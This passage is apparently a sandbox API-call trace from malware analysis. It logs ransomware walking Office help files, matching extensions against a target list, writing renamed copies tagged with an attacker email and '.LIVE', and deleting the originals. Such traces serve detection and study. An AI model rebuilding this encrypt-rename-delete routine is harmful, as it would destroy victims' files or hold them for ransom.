lstrlenW (lpString=".docx") returned 5 [0146.979] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.979] lstrlenW (lpString=".pdf") returned 4 [0146.979] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.979] lstrlenW (lpString=".xls") returned 4 [0146.979] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.979] lstrlenW (lpString=".xlsx") returned 5 [0146.979] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.979] lstrlenW (lpString=".ppt") returned 4 [0146.979] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.979] lstrlenW (lpString=".zip") returned 4 [0146.979] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.979] lstrlenW (lpString=".rar") returned 4 [0146.979] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.979] lstrlenW (lpString=".bz2") returned 4 [0146.979] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.979] lstrlenW (lpString=".7z") returned 3 [0146.979] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.979] lstrlenW (lpString=".dbf") returned 4 [0146.979] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.979] lstrlenW (lpString=".1cd") returned 4 [0146.979] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0146.979] lstrlenW (lpString=".jpg") returned 4 [0146.979] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.979] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0146.980] lstrlenW (lpString="VISIO_STD.HXS") returned 13 [0146.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.980] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2520158) returned 1 [0146.980] CloseHandle (hObject=0x38c) returned 1 [0146.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs")) returned 0x20 [0146.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0146.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.981] lstrlenW (lpString=".doc") returned 4 [0146.981] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0146.981] lstrlenW (lpString=".docx") returned 5 [0146.981] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0146.981] lstrlenW (lpString=".pdf") returned 4 [0146.981] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0146.981] lstrlenW (lpString=".xls") returned 4 [0146.981] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0146.981] lstrlenW (lpString=".xlsx") returned 5 [0146.981] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0146.981] lstrlenW (lpString=".ppt") returned 4 [0146.981] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0146.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.981] lstrlenW (lpString=".zip") returned 4 [0146.981] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0146.981] lstrlenW (lpString=".rar") returned 4 [0146.981] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0146.981] lstrlenW (lpString=".bz2") returned 4 [0146.981] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0146.981] lstrlenW (lpString=".7z") returned 3 [0146.981] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0146.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.981] lstrlenW (lpString=".dbf") returned 4 [0146.981] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0146.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.981] lstrlenW (lpString=".1cd") returned 4 [0146.981] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0146.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.981] lstrlenW (lpString=".jpg") returned 4 [0146.981] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0146.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.981] lstrlenW (lpString=".doc") returned 4 [0146.981] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0146.981] lstrlenW (lpString=".docx") returned 5 [0146.982] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0146.982] lstrlenW (lpString=".pdf") returned 4 [0146.982] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0146.982] lstrlenW (lpString=".xls") returned 4 [0146.982] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0146.982] lstrlenW (lpString=".xlsx") returned 5 [0146.982] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0146.982] lstrlenW (lpString=".ppt") returned 4 [0146.982] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0146.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.982] lstrlenW (lpString=".zip") returned 4 [0146.982] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0146.982] lstrlenW (lpString=".rar") returned 4 [0146.982] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0146.982] lstrlenW (lpString=".bz2") returned 4 [0146.982] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0146.982] lstrlenW (lpString=".7z") returned 3 [0146.982] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0146.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.982] lstrlenW (lpString=".dbf") returned 4 [0146.982] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0146.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.982] lstrlenW (lpString=".1cd") returned 4 [0146.982] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0146.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0146.982] lstrlenW (lpString=".jpg") returned 4 [0146.982] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0146.982] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0146.982] lstrlenW (lpString="VISIO_STD_COL.HXC") returned 17 [0146.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.983] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=641) returned 1 [0146.983] CloseHandle (hObject=0x38c) returned 1 [0146.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc")) returned 0x20 [0146.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.983] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.984] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0146.984] GetLastError () returned 0x0 [0146.984] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x281, lpOverlapped=0x0) returned 1 [0146.986] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x290, lpOverlapped=0x0) returned 1 [0146.987] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.987] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0146.987] SetEndOfFile (hFile=0x394) returned 1 [0146.987] CloseHandle (hObject=0x394) returned 1 [0146.987] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.987] SetEndOfFile (hFile=0x38c) returned 1 [0146.989] CloseHandle (hObject=0x38c) returned 1 [0146.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc")) returned 1 [0146.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.990] lstrlenW (lpString=".doc") returned 4 [0146.990] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.990] lstrlenW (lpString=".docx") returned 5 [0146.990] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.991] lstrlenW (lpString=".pdf") returned 4 [0146.991] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.991] lstrlenW (lpString=".xls") returned 4 [0146.991] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.991] lstrlenW (lpString=".xlsx") returned 5 [0146.991] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.991] lstrlenW (lpString=".ppt") returned 4 [0146.991] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.991] lstrlenW (lpString=".zip") returned 4 [0146.991] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.991] lstrlenW (lpString=".rar") returned 4 [0146.991] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.991] lstrlenW (lpString=".bz2") returned 4 [0146.991] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.991] lstrlenW (lpString=".7z") returned 3 [0146.991] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.991] lstrlenW (lpString=".dbf") returned 4 [0146.991] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.991] lstrlenW (lpString=".1cd") returned 4 [0146.991] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.991] lstrlenW (lpString=".jpg") returned 4 [0146.991] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.991] lstrlenW (lpString=".doc") returned 4 [0146.991] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0146.991] lstrlenW (lpString=".docx") returned 5 [0146.991] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0146.991] lstrlenW (lpString=".pdf") returned 4 [0146.991] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0146.991] lstrlenW (lpString=".xls") returned 4 [0146.992] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0146.992] lstrlenW (lpString=".xlsx") returned 5 [0146.992] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0146.992] lstrlenW (lpString=".ppt") returned 4 [0146.992] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0146.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.992] lstrlenW (lpString=".zip") returned 4 [0146.992] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0146.992] lstrlenW (lpString=".rar") returned 4 [0146.992] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0146.992] lstrlenW (lpString=".bz2") returned 4 [0146.992] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0146.992] lstrlenW (lpString=".7z") returned 3 [0146.992] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0146.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.992] lstrlenW (lpString=".dbf") returned 4 [0146.992] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0146.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.992] lstrlenW (lpString=".1cd") returned 4 [0146.992] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0146.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC") returned 65 [0146.992] lstrlenW (lpString=".jpg") returned 4 [0146.992] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0146.992] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0146.992] lstrlenW (lpString="VISIO_STD_COL.HXT") returned 17 [0146.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.993] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=209) returned 1 [0146.993] CloseHandle (hObject=0x38c) returned 1 [0146.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt")) returned 0x20 [0146.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0146.993] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.993] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.209] GetLastError () returned 0x0 [0147.209] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xd1, lpOverlapped=0x0) returned 1 [0147.210] WriteFile (in: hFile=0x36c, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0147.210] ReadFile (in: hFile=0x38c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.210] WriteFile (in: hFile=0x36c, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0147.211] SetEndOfFile (hFile=0x36c) returned 1 [0147.211] CloseHandle (hObject=0x36c) returned 1 [0147.211] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.211] SetEndOfFile (hFile=0x38c) returned 1 [0147.217] CloseHandle (hObject=0x38c) returned 1 [0147.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt")) returned 1 [0147.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.220] lstrlenW (lpString=".doc") returned 4 [0147.220] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0147.220] lstrlenW (lpString=".docx") returned 5 [0147.220] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0147.220] lstrlenW (lpString=".pdf") returned 4 [0147.220] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0147.220] lstrlenW (lpString=".xls") returned 4 [0147.220] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0147.221] lstrlenW (lpString=".xlsx") returned 5 [0147.221] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0147.221] lstrlenW (lpString=".ppt") returned 4 [0147.221] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0147.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.221] lstrlenW (lpString=".zip") returned 4 [0147.221] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0147.221] lstrlenW (lpString=".rar") returned 4 [0147.221] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0147.221] lstrlenW (lpString=".bz2") returned 4 [0147.221] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0147.221] lstrlenW (lpString=".7z") returned 3 [0147.221] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0147.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.221] lstrlenW (lpString=".dbf") returned 4 [0147.221] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0147.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.221] lstrlenW (lpString=".1cd") returned 4 [0147.221] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0147.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.221] lstrlenW (lpString=".jpg") returned 4 [0147.221] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0147.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.221] lstrlenW (lpString=".doc") returned 4 [0147.221] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0147.221] lstrlenW (lpString=".docx") returned 5 [0147.221] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0147.221] lstrlenW (lpString=".pdf") returned 4 [0147.221] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0147.221] lstrlenW (lpString=".xls") returned 4 [0147.221] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0147.221] lstrlenW (lpString=".xlsx") returned 5 [0147.221] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0147.221] lstrlenW (lpString=".ppt") returned 4 [0147.222] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0147.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.222] lstrlenW (lpString=".zip") returned 4 [0147.222] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0147.222] lstrlenW (lpString=".rar") returned 4 [0147.222] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0147.222] lstrlenW (lpString=".bz2") returned 4 [0147.222] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0147.222] lstrlenW (lpString=".7z") returned 3 [0147.222] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0147.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.222] lstrlenW (lpString=".dbf") returned 4 [0147.222] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0147.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.222] lstrlenW (lpString=".1cd") returned 4 [0147.222] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0147.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT") returned 65 [0147.222] lstrlenW (lpString=".jpg") returned 4 [0147.222] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0147.222] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0147.222] lstrlenW (lpString="VISIO_STD_K_COL.HXK") returned 19 [0147.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.223] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=113) returned 1 [0147.223] CloseHandle (hObject=0x36c) returned 1 [0147.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk")) returned 0x20 [0147.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.223] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.223] SetFilePointerEx (in: 